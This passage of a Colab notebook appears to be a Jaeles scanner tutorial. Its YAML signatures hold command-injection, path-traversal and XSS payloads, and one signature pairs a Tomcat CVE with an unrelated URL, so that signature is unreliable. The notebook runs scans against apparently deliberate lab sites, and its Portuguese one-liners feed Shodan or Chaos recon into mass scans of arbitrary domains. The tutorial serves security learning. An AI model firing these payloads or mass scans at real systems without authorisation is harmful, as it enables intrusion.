            "wordpress-dos-cve-2018-6389.yaml\n",
            "wordpress-file-upload-cve-2020-25213.yaml\n",
            "wordpress-improper-authorization-cve-2019-19985.yaml\n",
            "wordpress-lfi-cve-2019-14205.yaml\n",
            "wordpress-reflected-xss-cve-2019-20141.yaml\n",
            "wordpress-rfi-cve-2019-6715.yaml\n",
            "wordpress-rfi-cve-2019-9978.yaml\n",
            "wordpress-sqli-cve-2020-11530.yaml\n",
            "wordpress-stored-xss-cve-2018-18069.yaml\n",
            "wordpress-xss-cve-2019-6112.yaml\n",
            "zabbix-improper-authentication-cve-2019-17382.yaml\n",
            "zimbra-rce-cve-2019-9670.yaml\n",
            "zoho-path-traversal-cve-2020-12116.yaml\n",
            "zyxel-nas-rce-cve-2020-9054.yaml\n",
            "id: CVE-2020-9484\n",
            "info:\n",
            "  name: Apache Tomcat RCE\n",
            "  risk: Critical\n",
            "\n",
            "params:\n",
            "  - root: '{{.BaseURL}}'\n",
            "  \n",
            "requests: \n",
            "  - method: GET\n",
            "    url: >-\n",
            "      {{.root}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd\n",
            "    headers:\n",
            "      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36\n",
            "      - Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy\n",
            "    detections:\n",
            "      - >-\n",
            "        StatusCode() == 500 && RegexSearch(\"resBody\", \"Exception\") && RegexSearch(\"resBody\", \"ObjectInputStream\") && RegexSearch(\"resBody\", \"PersistentManagerBase\")\n",
            "\n",
            "references:\n",
            "  - https://www.cvebase.com/cve/2020/9484\n",
            "id: CVE-2020-25213\n",
            "info:\n",
            "  name: Wordpress File Manager File Upload\n",
            "  risk: Critical\n",
            "\n",
            "params:\n",
            "  - root: '{{.BaseURL}}'\n",
            "\n",
            "requests: \n",
            "  - method: GET\n",
            "    url: >-\n",
            "      {{.root}}/wp-content/plugins/wp-file-manager/readme.txt\n",
            "    headers:\n",
            "      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36\n",
            "    detections:\n",
            "      - >-\n",
            "        StatusCode() == 200 && RegexSearch(\"resBody\", \"[0-6].[0-8]\") && StringSearch(\"resBody\", \"wp-file-manager\")\n",
            "\n",
            "references:\n",
            "  - https://www.cvebase.com/cve/2020/25213\n",
            "id: CVE-2020-2096\n",
            "info:\n",
            "  name: Jenkins Gitlab Hook XSS\n",
            "  risk: Medium\n",
            "\n",
            "params:\n",
            "  - root: '{{.BaseURL}}'\n",
            "\n",
            "requests:\n",
            "  - method: GET\n",
            "    redirect: false\n",
            "    url: >-\n",
            "      {{.root}}/gitlab/build_now/a'\"><svg/onload=alert(document.domain)>\n",
            "    detections:\n",
            "      - >-\n",
            "        StringSearch(\"response\", \"know how to process\") || StringSearch(\"response\", \"See https://github.com/elvanja/jenkins-gitlab-hook-plugin for details\")\n",
            "      - >-\n",
            "        StatusCode() == 200 && StringSearch(\"response\", \"Gitlab Web Hook\")\n",
            "  - method: GET\n",
            "    redirect: false\n",
            "    url: >-\n",
            "      {{.root}}/git/build_now/a'\"><svg/onload=alert(document.domain)>\n",
            "    detections:\n",
            "      - >-\n",
            "        StringSearch(\"response\", \"know how to process\") || StringSearch(\"response\", \"See https://github.com/elvanja/jenkins-gitlab-hook-plugin for details\")\n",
            "      - >-\n",
            "        StatusCode() == 200 && StringSearch(\"response\", \"Gitlab Web Hook\")\n",
            "\n",
            "references:\n",
            "  - author: j3ssie\n",
            "  - link: https://www.cvebase.com/cve/2020/2096\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles scan -c 300 -u http://demo.testfire.net"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "tboHnrphLRX1",
        "outputId": "ec82400b-0a8a-41ae-956f-800bdc1710da"
      },
      "execution_count": null,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "[Warning] You literally just select ALL signatures. I hope you know what are you doing.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "%%writefile /content/testfire-xss.yaml\n",
        "id: Custom-XSS-Demo-Testfire\n",
        "info:\n",
        "  name: Demo Testfire Search Field XSS\n",
        "  risk: High\n",
        "\n",
        "params:\n",
        "  - root: '{{.BaseURL}}'\n",
        "\n",
        "requests:\n",
        "  - method: GET\n",
        "    redirect: true\n",
        "    url: >-\n",
        "      {{.root}}/search.jsp?query=aaa%22%3C%21--%3E%3CSvg%20OnLoad%3D%28confirm%29%281%29%3C%21--\n",
        "    detections:\n",
        "      - >-\n",
        "        StringSearch(\"response\", \"\"<!--><Svg OnLoad=(confirm)(1)<!--\")\n",
        "      - >-\n",
        "        StatusCode() == 200\n",
        "references:\n",
        "  - author: Brinhosa\n",
        "  - link: https://example.com/using-jaeles-in-real-world-scenarios\n"
      ],
      "metadata": {
        "id": "OXcS-b4tqzle",
        "outputId": "83cf005b-d897-4423-95eb-bc6d45627794",
        "colab": {
          "base_uri": "https://localhost:8080/"
        }
      },
      "execution_count": 76,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Overwriting /content/testfire-xss.yaml\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles config -v add -B /content/testfire-xss.yaml\n",
        "!./jaeles scan -v -H \"User-Agent: Chrome\" -H 'Referer: {{.BaseURL}}' -s /content/testfire-xss.yaml -u http://demo.testfire.net\n",
        "!./jaeles report -v -R /content/results.html"
      ],
      "metadata": {
        "id": "p6oL6P8droGd",
        "outputId": "08043bc0-4ae5-4228-da47-198ddead9750",
        "colab": {
          "base_uri": "https://localhost:8080/"
        }
      },
      "execution_count": 77,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Summary output: out/jaeles-summary.txt\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Add Signature from: /content/testfire-xss.yaml\n",
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Summary output: out/jaeles-summary.txt\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Signatures Loaded: 1\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Signature Loaded: testfire-xss.yaml \n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Start Scan with ID: 32643431326535632d306336342d313165662d623134372d303234326163316330303063\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Input Loaded: 1\n",
            "[Sent] GET http://demo.testfire.net/search.jsp?query=aaa%22%3C%21--%3E%3CSvg%20OnLoad%3D%28confirm%29%281%29%3C%21-- 200 OK HTTP/1.1 0.11332788 7161 \n",
            "[Sent] GET http://demo.testfire.net/search.jsp?query=aaa%22%3C%21--%3E%3CSvg%20OnLoad%3D%28confirm%29%281%29%3C%21-- 200 OK HTTP/1.1 0.113379063 7161 \n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m\u001b[0;36m Found:\u001b[0m \u001b[35mStatusCode() == 200\u001b[0m\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m\u001b[0;36m Found:\u001b[0m \u001b[35mStatusCode() == 200\u001b[0m\n",
            "[\u001b[32mVulnerable\u001b[0m][\u001b[36mCustom-XSS-Demo-Testfire\u001b[0m][\u001b[91mHigh\u001b[0m] \u001b[32mhttp://demo.testfire.net/search.jsp?query=aaa%22%3C%21--%3E%3CSvg%20OnLoad%3D%28confirm%29%281%29%3C%21--\u001b[0m \u001b[32mout/demo.testfire.net/Custom-XSS-Demo-Testfire-1642c4fd23549bdef9d1e19a1d619fc3544bf938\u001b[0m\n",
            "[\u001b[32mVulnerable\u001b[0m][\u001b[36mCustom-XSS-Demo-Testfire\u001b[0m][\u001b[91mHigh\u001b[0m] \u001b[32mhttp://demo.testfire.net/search.jsp?query=aaa%22%3C%21--%3E%3CSvg%20OnLoad%3D%28confirm%29%281%29%3C%21--\u001b[0m \u001b[32mout/demo.testfire.net/Custom-XSS-Demo-Testfire-1642c4fd23549bdef9d1e19a1d619fc3544bf938\u001b[0m\n",
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;32m INFO\u001b[0m Summary output: out/jaeles-summary.txt\n",
            "\u001b[92m[+]\u001b[0m Genereted Active HTML report: /content/results.html\n",
            "\u001b[0;90m[0000]\u001b[0m \u001b[0;31mERROR\u001b[0m Error gen passive report: no Passive found from passive-out\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles scan -c 300 -u http://testphp.vulnweb.com/"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "BanpFapJnfGo",
        "outputId": "fdd6f64a-8b91-4f41-f153-aebc00959f49"
      },
      "execution_count": 7,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "[Warning] You literally just select ALL signatures. I hope you know what are you doing.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles scan -c 300 -u https://juice-shop.herokuapp.com/#/"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "Bq0vjWFooN9D",
        "outputId": "8cec4d02-a278-4643-9b7d-f13447dfdc2f"
      },
      "execution_count": 16,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "[Warning] You literally just select ALL signatures. I hope you know what are you doing.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "!./jaeles scan -c 300 -u https://google-gruyere.appspot.com/605162240731618530556266143427613811005/"
      ],
      "metadata": {
        "id": "jiS2djw7qQOS",
        "outputId": "a957f807-1f0b-4c04-a196-fcfdcce8ffa7",
        "colab": {
          "base_uri": "https://localhost:8080/"
        }
      },
      "execution_count": 17,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "\u001b[0m\u001b[0m\u001b[0m\u001b[0m\u001b[0mJaeles beta v0.17.1 by @j3ssiejjj\n",
            "[Warning] You literally just select ALL signatures. I hope you know what are you doing.\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "#ONE-LINERS\n",
        "\n",
        "### Usando Shodan para Jaeles \"Como encontrei um crítico hoje? Bem, como eu disse, foi muito simples, usando Shodan e Jaeles\".\n",
        "\n",
        "- [Comando explicado](https://bit.ly/2QQfY0l)\n",
        "\n",
        "```bash\n",
        "shodan domain domain| awk '{print $3}'|  httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @\n",
        "```\n",
        "\n",
        "### Usando Chaos para Jaeles \"Como encontrei um crítico hoje?\".\n",
        "\n",
        "- [Comando explicado](https://bit.ly/2YXiK8N)\n",
        "\n",
        "Para usar Chaos neste projeto para projectdiscovery, Recon subdomínios, usando httpx, se virmos a saída de chaos domain.com precisamos tratá-la como http ou https, então usamos httpx para obter os resultados. Usamos anew, uma ferramenta que remove duplicatas de @TomNomNom, para obter a saída tratada para importação em Jaeles, onde ele fará a varredura usando seus modelos.\n",
        "\n",
        "```bash\n",
        "chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @\n",
        "```\n",
        "\n",
        "### Usando Shodan para Jaeles\n",
        "\n",
        "- [Comando explicado](https://bit.ly/2Dkmycu)\n",
        "\n",
        "```bash\n",
        "domain=\"domaintotest\";shodan domain $domain | awk -v domain=\"$domain\" '{print $1\".\"domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts\n",
        "```\n",
        "Fonte: https://github.com/Elsfa7-110/Elsfa7110-Oneliner-bughunting\n"
      ],
      "metadata": {
        "id": "zQsmAOgjoOSz"
      }
    }
  ]
}